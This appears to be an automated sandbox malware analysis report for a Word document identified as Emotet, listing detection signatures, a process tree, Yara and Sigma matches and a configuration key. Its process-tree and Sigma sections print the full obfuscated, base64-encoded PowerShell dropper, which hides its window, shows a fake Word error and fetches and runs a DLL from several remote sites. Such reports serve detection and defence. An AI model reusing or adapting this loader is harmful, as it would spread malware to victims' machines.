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Analysis Report DATA-480841.doc

Overview

General Information

Sample Name:DATA-480841.doc
Analysis ID:336494
MD5:2ed8a95357ee4e2d433bcbeb2ef43fc9
SHA1:06838eec498718aace03e6ef28d3f0292a631f8a
SHA256:485c5e8d7bc0f0fc416a7d6cfa8780ebc42c03ff41568af70c358ee8b8afa02c

Most interesting Screenshot:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA macro with suspicious strings
Document contains an embedded VBA with base64 encoded strings
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Startup

  • System is w7x64
  • WINWORD.EXE (PID: 532 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • cmd.exe (PID: 1604 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAKwAnAC8AJwArACcAQAAnACsAKAAnAF0AYQAnACsAJwBuACcAKQArACcAdwAnACsAKAAnAFsAMwA6ACcAKwAnAC8ALwBzAGgAJwArACcAbwBwACcAKwAnAC4AJwApACsAJwBlAGwAJwArACcAZQAnACsAKAAnAG0AZQBuACcAKwAnAHMAbAAnACsAJwBpACcAKQArACgAJwBkACcAKwAnAGUALgAnACkAKwAoACcAYwBvAG0AJwArACcALwAnACkAKwAnAHcAcAAnACsAJwAtAGMAJwArACcAbwAnACsAKAAnAG4AJwArACcAdABlAG4AdAAnACkAKwAoACcALwAnACsAJwBuAC8AJwArACcAQABdAGEAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAvAC8AJwApACsAJwBrACcAKwAoACcAaAAnACsAJwBhAG4AJwApACsAKAAnAGgAJwArACcAaABvACcAKQArACgAJwBhAGgAbwAnACsAJwBtACcAKQArACgAJwBuAGEAeQAuAG4AZQAnACsAJwB0AC8AJwArACcAdwBvAHIAZABwACcAKQArACgAJwByAGUAJwArACcAcwAnACkAKwAoACcAcwAvACcAKwAnAEMAJwApACsAKAAnAEcATQBDAC8AQAAnACsAJwBdACcAKQArACcAYQBuACcAKwAnAHcAJwArACgAJwBbADMAOgAvACcAKwAnAC8AJwApACsAKAAnAGMAYQAnACsAJwBtACcAKQArACgAJwBwAHUAJwArACcAcwBlACcAKwAnAHgAcABvACcAKwAnAC4AbwByAGcALwBkAGUAJwApACsAJwBwACcAKwAoACcAYQByACcAKwAnAHQAbQBlAG4AJwApACsAJwB0ACcAKwAoACcALQAnACsAJwBvAGYALQBvAGQAaABtACcAKQArACgAJwBtAGsAZAAvADkANQBlAFgAJwArACcAWgAnACsAJwBZACcAKQArACgAJwAvAEAAXQBhAG4AdwBbACcAKwAnADMAcwA6AC8ALwBnACcAKwAnAHUAcgAnACsAJwB6AHQAYQAnACsAJwBjAC4AdwB0AGMAJwArACcAaABlACcAKQArACcAdgBhACcAKwAnAGwAJwArACcAaQBlACcAKwAnAHIAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AYwAnACkAKwAoACcAbwBuAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AWQB6ACcAKwAnAFoAJwApACsAKAAnADYAJwArACcAWQBaAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAnAF0AYQAnACsAKAAnAG4AdwAnACsAJwBbADMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABYADQAMQBQACAAKwAgACQATwBsADkAbwBuAGsAaQAgACsAIAAkAEYAMgAxAEQAKQA7ACQATgAzADIARQA9ACgAKAAnAFUAOAAnACsAJwA4ACcAKQArACcATgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAMQA0ADUAcQBzAGwAIABpAG4AIAAkAFEAYwBlAGMAaAA0AGgAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwB0ACcAKQAgAHMAWQBzAFQAZQBtAC4ATgBlAHQALgBXAGUAQgBDAEwASQBlAE4AVAApAC4AIgBkAG8AYABXAE4AbABvAGEARABmAGAAaQBMAGUAIgAoACQASQAxADQANQBxAHMAbAAsACAAJABRADIAeQBnADkAZwBfACkAOwAkAEQAMAA4AFUAPQAoACgAJwBIACcAKwAnADQAOAAnACkAKwAnAEsAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFEAMgB5AGcAOQBnAF8AKQAuACIATABFAG4AZwBgAFQAaAAiACAALQBnAGUAIAAzADAAMgA5ADkAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAUQAyAHkAZwA5AGcAXwAsACgAKAAnAEMAbwAnACsAJwBuAHQAJwApACsAKAAnAHIAbwAnACsAJwBsAF8AJwApACsAKAAnAFIAJwArACcAdQBuACcAKQArACcARAAnACsAJwBMAEwAJwApAC4AIgB0AGAATwBzAHQAcgBpAGAATgBHACIAKAApADsAJABEADYANwBIAD0AKAAnAEsAMwAnACsAJwBfAEsAJwApADsAYgByAGUAYQBrADsAJABZADUANABFAD0AKAAnAEIAJwArACgAJwA3ADYAJwArACcASwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAA3ADMAVgA9ACgAJwBRACcAKwAoACcANAAnACsAJwAyAEQAJwApACkA MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
    • msg.exe (PID: 2524 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
    • powershell.exe (PID: 2544 cmdline: POwersheLL -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAKwAnAC8AJwArACcAQAAnACsAKAAnAF0AYQAnACsAJwBuACcAKQArACcAdwAnACsAKAAnAFsAMwA6ACcAKwAnAC8ALwBzAGgAJwArACcAbwBwACcAKwAnAC4AJwApACsAJwBlAGwAJwArACcAZQAnACsAKAAnAG0AZQBuACcAKwAnAHMAbAAnACsAJwBpACcAKQArACgAJwBkACcAKwAnAGUALgAnACkAKwAoACcAYwBvAG0AJwArACcALwAnACkAKwAnAHcAcAAnACsAJwAtAGMAJwArACcAbwAnACsAKAAnAG4AJwArACcAdABlAG4AdAAnACkAKwAoACcALwAnACsAJwBuAC8AJwArACcAQABdAGEAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAvAC8AJwApACsAJwBrACcAKwAoACcAaAAnACsAJwBhAG4AJwApACsAKAAnAGgAJwArACcAaABvACcAKQArACgAJwBhAGgAbwAnACsAJwBtACcAKQArACgAJwBuAGEAeQAuAG4AZQAnACsAJwB0AC8AJwArACcAdwBvAHIAZABwACcAKQArACgAJwByAGUAJwArACcAcwAnACkAKwAoACcAcwAvACcAKwAnAEMAJwApACsAKAAnAEcATQBDAC8AQAAnACsAJwBdACcAKQArACcAYQBuACcAKwAnAHcAJwArACgAJwBbADMAOgAvACcAKwAnAC8AJwApACsAKAAnAGMAYQAnACsAJwBtACcAKQArACgAJwBwAHUAJwArACcAcwBlACcAKwAnAHgAcABvACcAKwAnAC4AbwByAGcALwBkAGUAJwApACsAJwBwACcAKwAoACcAYQByACcAKwAnAHQAbQBlAG4AJwApACsAJwB0ACcAKwAoACcALQAnACsAJwBvAGYALQBvAGQAaABtACcAKQArACgAJwBtAGsAZAAvADkANQBlAFgAJwArACcAWgAnACsAJwBZACcAKQArACgAJwAvAEAAXQBhAG4AdwBbACcAKwAnADMAcwA6AC8ALwBnACcAKwAnAHUAcgAnACsAJwB6AHQAYQAnACsAJwBjAC4AdwB0AGMAJwArACcAaABlACcAKQArACcAdgBhACcAKwAnAGwAJwArACcAaQBlACcAKwAnAHIAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AYwAnACkAKwAoACcAbwBuAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AWQB6ACcAKwAnAFoAJwApACsAKAAnADYAJwArACcAWQBaAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAnAF0AYQAnACsAKAAnAG4AdwAnACsAJwBbADMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABYADQAMQBQACAAKwAgACQATwBsADkAbwBuAGsAaQAgACsAIAAkAEYAMgAxAEQAKQA7ACQATgAzADIARQA9ACgAKAAnAFUAOAAnACsAJwA4ACcAKQArACcATgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAMQA0ADUAcQBzAGwAIABpAG4AIAAkAFEAYwBlAGMAaAA0AGgAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwB0ACcAKQAgAHMAWQBzAFQAZQBtAC4ATgBlAHQALgBXAGUAQgBDAEwASQBlAE4AVAApAC4AIgBkAG8AYABXAE4AbABvAGEARABmAGAAaQBMAGUAIgAoACQASQAxADQANQBxAHMAbAAsACAAJABRADIAeQBnADkAZwBfACkAOwAkAEQAMAA4AFUAPQAoACgAJwBIACcAKwAnADQAOAAnACkAKwAnAEsAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFEAMgB5AGcAOQBnAF8AKQAuACIATABFAG4AZwBgAFQAaAAiACAALQBnAGUAIAAzADAAMgA5ADkAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAUQAyAHkAZwA5AGcAXwAsACgAKAAnAEMAbwAnACsAJwBuAHQAJwApACsAKAAnAHIAbwAnACsAJwBsAF8AJwApACsAKAAnAFIAJwArACcAdQBuACcAKQArACcARAAnACsAJwBMAEwAJwApAC4AIgB0AGAATwBzAHQAcgBpAGAATgBHACIAKAApADsAJABEADYANwBIAD0AKAAnAEsAMwAnACsAJwBfAEsAJwApADsAYgByAGUAYQBrADsAJABZADUANABFAD0AKAAnAEIAJwArACgAJwA3ADYAJwArACcASwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAA3ADMAVgA9ACgAJwBRACcAKwAoACcANAAnACsAJwAyAEQAJwApACkA MD5: 852D67A27E454BD389FA7F02A8CBE23F)
      • rundll32.exe (PID: 2808 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL MD5: DD81D91FF3B0763C392422865C9AC12E)
        • rundll32.exe (PID: 2724 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
          • rundll32.exe (PID: 2468 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gpnlsmsow\geunbjvu.dkg',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
            • rundll32.exe (PID: 2916 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Mjwjtkxgnh\wyssufqxr.vub',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
              • rundll32.exe (PID: 3056 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Iiasa\gdao.xuk',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                • rundll32.exe (PID: 2836 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Kjucifzppxjqp\brxqhmcbxcls.kkx',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                  • rundll32.exe (PID: 2276 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Chaxbancxgzy\rbmbxmqpfdk.tvd',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                    • rundll32.exe (PID: 2968 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Umbfypagzceb\sgdrbhhkrdu.ucy',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                      • rundll32.exe (PID: 3020 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pegimmebijdsrjpt\trbcflzgrjlwmib.jho',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                        • rundll32.exe (PID: 2248 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pqftsc\netes.ucb',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
  • cleanup

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fLJ8UrI0OZURpPsR3eijAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzD0nlCFHOo7Zf8/4wY2UW0CJ4dJEHnE/PHlz\n6uNk3pxjm7o4eCDyiJbzf+k0Azjl0q54FQIDAQAB"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000007.00000002.2109584189.0000000000221000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
    00000008.00000002.2111056339.0000000000230000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
      0000000B.00000002.2115843341.0000000000470000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
        0000000E.00000002.2123134959.0000000000270000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
          00000005.00000002.2107717841.0000000001CA6000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
          • 0x890:$s1: POwersheLL
          Click to see the 15 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          13.2.rundll32.exe.240000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
            11.2.rundll32.exe.470000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
              7.2.rundll32.exe.200000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                7.2.rundll32.exe.200000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                  12.2.rundll32.exe.2b0000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                    Click to see the 22 entries

                    Sigma Overview

                    System Summary:

                    barindex
                    Sigma detected: Suspicious Encoded PowerShell Command LineShow sources
                    Source: Process startedAuthor: Florian Roth, Markus Neis: Data: Command: POwersheLL -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQB